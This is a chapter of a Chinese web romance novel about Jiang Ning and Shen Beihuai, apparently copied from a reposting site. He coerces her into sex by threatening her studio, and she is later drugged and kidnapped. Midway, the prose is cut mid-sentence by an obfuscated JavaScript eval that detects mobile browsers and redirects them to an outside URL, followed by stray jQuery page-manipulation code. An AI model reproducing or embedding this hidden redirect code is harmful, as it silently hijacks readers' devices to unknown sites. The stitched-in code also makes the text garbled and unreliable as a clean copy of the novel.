《难戒于她》by十有九溺
首发/独家发表于晋江文学城
-055-
一进门,沈北淮就把门反锁了。
明明一切和走之前没什么变化,明明只是短短数日没来,姜凝却有种恍若隔世的错觉,她红着眼看着沈北淮,颤声道:“沈北淮,你究竟想干什么?”
沈北淮将她抵在沙发上,那些话语仿佛有千斤般重,最后他仿佛下定了决心似的,终于开口:“别闹了,和好行不行?”
“和好”,多么诱-人的两个字啊。
姜凝满心苦涩,她看着沈北淮,在他期许的目光中慢慢开口了,“沈北淮,如果我要求你再也不跟柏悦来往呢?你只要不跟她有任何来往,我就答应跟你和好。”
沈北淮几乎没有任何迟疑,一口回绝了:“姜凝,你懂事点行吗?柏悦举家搬到国外,在京城没有认识的人,她有事找我,我没有理由拒绝她,况且她妈跟我爸是世交,我不可能跟她闹太僵,更不可能跟她断绝所有来往,你换个要求吧,我一定答应。”
姜凝胸腔又沉又闷,纵然她知道自己的要求刁蛮,可沈北淮回答的几乎没有任何犹豫,她死死的咬紧唇,尝到了口腔里的血腥味。
“姜凝,我知道你介意她,可如果不是她,我根本不会选择你。你别闹了,这个事情翻篇行不行?”
如果姜凝对沈北淮没有动心,只是单纯的图钱,当然行,可她动心了,就绝对不行。
她无法忍受沈北淮对她的每一次好都是建立在另外一个女人身上,更无法接受自己欺骗自己接受那张虚虚实实的牢笼。
别人骗自己没关系,她不能自己把自己给骗了。
沈北淮一看姜凝沉默,心脏猛然往下坠,他着急的不行,最后笨拙的抱着她,额头抵在她额头上,“姜凝,别犟了好不好。”
姜凝吸了吸鼻子,既然沈北淮不愿意给她承诺,那她又何必凑上去让人糟践。
她拼命忍着眼泪,用尽了所有力气推开他。
沈北淮没有防备,一下子就被推开了,他被姜凝这一而再再而三的拒绝弄得不安和火气齐齐往上窜,一些话没过脑子咆哮出来:“姜凝!你是不是给脸不要脸?!你真以为我离不开你?你真以为我非你不可!他-妈-的不想留下就滚!滚!”
姜凝浑身发-抖,可她看都没看沈北淮一眼,毫不犹豫的转身就走。
沈北淮眼睁睁的看着姜凝的背影,一种莫名的恐惧席卷全身,这种情绪让他的胸腔都快炸开了,他难自禁的大吼,“你敢走就彻底玩完!”
姜凝身体一颤,可她却没停下来,只是拖着摇摇欲坠的身体坚定的往门口走。
沈北淮猛的站起来,不由自主的往前追了几步,他像是想到了什么,突然冷静了,说出来的话残忍又可怕,“我保证,你再往前走一步,你的工作室就别想在圈子里混了!”
他的话果然有效,姜凝一个踉跄,猛然停下了脚步。
沈北淮看姜凝硬生生的停在了门口,心里倏然松了一口气,他仿佛打了胜仗一样,朝着姜凝伸出手,“姜凝,你知道孰轻孰重的,别闹了,过来,我什么都给你。”
姜凝转过脸,泪眼婆娑的眼底多了一抹哀伤和怨怼,“沈北淮,为什么不能好聚好散,你就非要这样逼我吗?”
逼?
沈北淮深深的皱眉,什么叫做他逼她?他明明就是给她台阶下!她怎么不知道好歹呢?!
胸腔的怒火往上蹿,他气得一脚把柜子踢翻,怒吼道:“想保住你的工作室,就拿身体求我!脱!脱-光!”
这一幕跟两年前的那一幕慢慢重叠在一起,姜凝的视线模糊了。
纵然小贺告诉她,沈北淮因为她改变了很多,可一个人的出生和阶级早就把他的底色写好了,怎么会轻易改变。
如果非要说,那就是两年前的沈北淮还会伪装,此刻的他彻底脱掉了那层天使的皮,不屑于伪装了!
姜凝浑身的力气一点点抽离,她慢慢的滑落在地上,哑声道:“是不是只要我求你,你就彻底放过我。”
“对!”
沈北淮恶狠狠的说,他上前一步,居高临下的看着姜凝,眸子里全是化不开的情绪。
半晌,他也蹲下来了,碰了碰姜凝的脸,低声道:“姜凝,你知道的,我对你很不错的。”
姜凝一字不发,她只是抖着手,开始去脱自己的衣服,犹如两年前的那天,扯掉了身上所有的衣服,带着决绝,没有一丝拖泥带水。
沈北淮的眸子越来越热,很快染上情-欲。
他把人抱起来,却没有压到沙发上,而是放到了自己腿上。
这一场性-事带着二人熟悉的疯狂,谁都不好受,可谁都没有开口,更没有低头。
夜已经彻底深了,沈北淮终于停下来了,他看着一身狼藉的姜凝,心脏堵的格外厉害,可他什么也没说,只是摸着她的背。
姜凝疲倦不堪,却还是强撑着开口:“我能走了吗。”
她的话刺-激到了沈北淮,他攥住姜凝腰肢的手猛然一紧,然后就把人压到沙发上,一个个细密的吻落下来了。
姜凝把头深深的埋在沙发,隐忍的咬紧唇,死活不肯叫出声。
这一次很快结束,沈北淮亲着姜凝的头发、脸颊,最后停留在她的唇边,诱哄道:“姜凝,离了我,谁还能让你这么舒服?不闹了,明天我让小贺帮你搬家。”
姜凝没回答他的话,努力平复着呼吸,恢复着力气,然后推开他,摇摇晃晃的起来,一件一件的捡自己的衣服穿上。
沈北淮皱眉,想过去抱她,“别穿了,直接去洗澡吧,睡一觉就好了。”
姜凝躲开沈北淮的手,只是慢慢的扣好大衣的扣子,“希望你信守承诺。”
沈北淮简直不敢相信自己的耳朵,原本已经消散的戾气和焦躁又猛然窜上来了,他一脚把鞋柜踢歪,指着姜凝的鼻子破口大骂,“姜凝,你行!你够狠!你有本事就硬气到底!有本事走了就再也别回来!你真以为我有多喜欢你?随便一个女人都比你强!不识时务就他-妈-的给我滚!有多远滚多远!”
姜凝脸色煞白,只觉得自己的心都快被他捅的再也没法拼接起来了,“好,希望你不要再插手我工作室的对外交接工作。”
她一点也不想跟沈北淮沾边的样子直接点炸了沈北淮的怒意,他控制不住的大吼:“你以为我多稀罕管你!离了我,你看还有谁会跟你合作!”
“你不插手,会有的。”
姜凝的声音听不出来任何情绪,她说完这句话,毫不犹豫推开门离开。
她的动作很轻,可落在沈北淮耳朵简直震耳发聩。
他气得把客厅里能砸的东西全砸了,把自己折腾的气喘吁吁,可胸口的情绪依旧无法平息,“姜凝!你有种!你-他-妈有种!你算什么东西甩我!?你算什么东西拂我的面子!老子这辈子就没说过软话,你他-妈-的居然不识抬举!你也配!你也配!凭什么!凭什么?!”
明明应该越骂越解气,可沈北淮越骂越觉得难受,他看着一地狼籍的客厅,心里空荡荡的厉害。
……
姜凝逃也似的离开了这里,把那些怨怼、愤怒、哀怨、痛苦全部都抛在脑后。
和沈北淮在一起的那些日子越多,此刻越痛苦越难得剥离。
今天沈北淮的所作所为,彻彻底底让她认清了一切。
她和沈北淮之间本来就是一场彻头彻尾的交易,她何必抱着那些虚假的回忆折磨自己?!
结束吧,人总要往前看。
忘记吧,等忘记了就好了,就忘记了新生就来了。
姜凝一遍又一遍的说服自己,拼命把眼泪擦掉。
这天,姜凝也没有回家,她不能回去让何云看到这样的自己,干脆打车去了工作室,在附近酒店开个房,暂且过渡一-夜。
温热的水带走了一身的疲倦,姜凝擦干头发,把自己裹在被子里,给何云发信息说今晚太忙,就不回去了。
落地窗外,工作室的大Logo闪闪发光,耀眼明亮,看久了刺得姜凝眼睛生疼,可她却觉得异常的安心,身体的冰冷和痛意仿佛也慢慢消失。
第二天一早,姜凝收到了何云发来的信息,她应付几句,收拾好自己就去了工作室。
如今没有沈北淮在背后疏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175695|170512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通关系,她自然要更努力。
预料之中的困难和刁难并没有,很多项目的推进和对接反而更加顺利,短短一个月,上半年的工作就基本排满了。
姜凝惊讶合作的顺利,也试探着敲击旁侧的问过合作方为什么选择新氧,可合作方只是说了些场面话。
她也怀疑过是不是沈北淮插手了,可这个念头刚起来就压下去了,都闹成那样了,沈北淮怎么会帮她?
转眼间就四月底了,晚上照旧聚完餐,姜凝和工作室的人一一告别后,就打算回去了。
因为喝了几口果酒,这会儿姜凝头有点晕,她也不好叫何云过来接她,只好叫了个代驾。
等着代驾过来,她临时去了趟卫生间,正洗着手,突然听到身后有一阵轻微的脚步声,随即而来的就是关门声。
好好的关什么门?
姜凝警惕起来,一回头就见一个戴着口罩帽子裹得严严实实的男人在门口。
“这是女卫生间,你走错了,麻烦出去。”
那人却是只字不发,只是直勾勾的看着姜凝。
姜凝心里警铃大震,本能的往后门移动。
她的动作很快,可那人的动作更快,姜凝都没有来得及跑几步,就被那人抓住了手腕。
姜凝吓得尖叫一声,“你谁啊?我不认识你,你想干什么?”
那人没接话,不由分说直接捂住了她的口鼻。
一股难闻的味道立即侵入鼻腔,姜凝一个不备吸了几口,大脑立即发晕,意识消散之际,她听到那人说:“要怪就怪你抢了别人的路。”
……
再次有意识时,姜凝第一反应就是疼,大脑剧烈的疼痛,眼睛也无比酸涩,浑身更是一点力气都没有。
她努力的睁开眼睛,刺眼的白炽灯让她一瞬间想起来了昏迷之前发生的事情,不用多想,她的处境很危险。
是谁绑架了她?她又抢了谁的路?
扪心自问,姜凝从未得罪过任何人,一向和和气气,会是谁跟她过不去?
她把脑袋想的都疼了,也想不到究竟得罪过谁。
忍着浑身的酸疼,姜凝狼狈的从床上爬起来,她环顾四周,发现自己身处在一个廉价的小宾馆,没有窗户,床边堆着乱糟糟的褥子和被子,白炽灯刺眼的厉害,整个房间都散发着一股潮湿的霉味儿。
此刻姜凝真庆幸自己没被绑住手脚,还能自由活动,她忍着疼,咬着牙走到门口,有气无力的拍着门,“有人吗?有人吗?”
外面很快传来了脚步声,一个不耐烦的声音从门外响起,“叫什么叫?有事?”
姜凝听出来是卫生间那个人的声音,心里一喜,既然没有伤害她,只是把她关起来了,那就是图钱,没想着害命,也没想着把她卖了。
快速分析好现在的情况,姜凝放软了声音:“你要钱我给你,能不能放了我,我保证不会报警。”
那人呵呵一笑,“想得倒挺美。”
姜凝心里一沉,这……这是打算灭口了?!
恐惧和惊骇侵袭全身,姜凝声音发-抖,连带着嗓子都有些疼,她艰涩道:“你别、别冲动,有事好商量……”
门外那人一句话都不想多说,重重的踢了一脚大门后,就走开了。
周围很快又恢复了寂静,姜凝瘫靠在门板上,不禁有些绝望。
绑架她的人究竟想干什么?!
难道就是只把她关起来?可是看此刻的情况,恐怕不止是把她关起来……无冤无仇的,究竟谁要害她啊?
尽管姜凝拼命安慰自己别害怕,可内心却沉甸甸的,她毕竟从来没有经历过这样的事情,对未知的恐惧如同潮水般几乎快把她溺毙了。
何云发现她没按时回家会报警吗……这个事情能用钱解决吗……万一不要钱,就要动她怎么办……她还能活着出去吗?
姜凝大脑纷乱如麻,越想越害怕。
想到最后,她想到了沈北淮。
沈北淮会发现她不见了吗?他会来救她吗?
在这个安静破旧的小宾馆里,姜凝已经感觉不到时间的流逝,连饥饿和疼痛这种最直接的感觉也慢慢模糊了。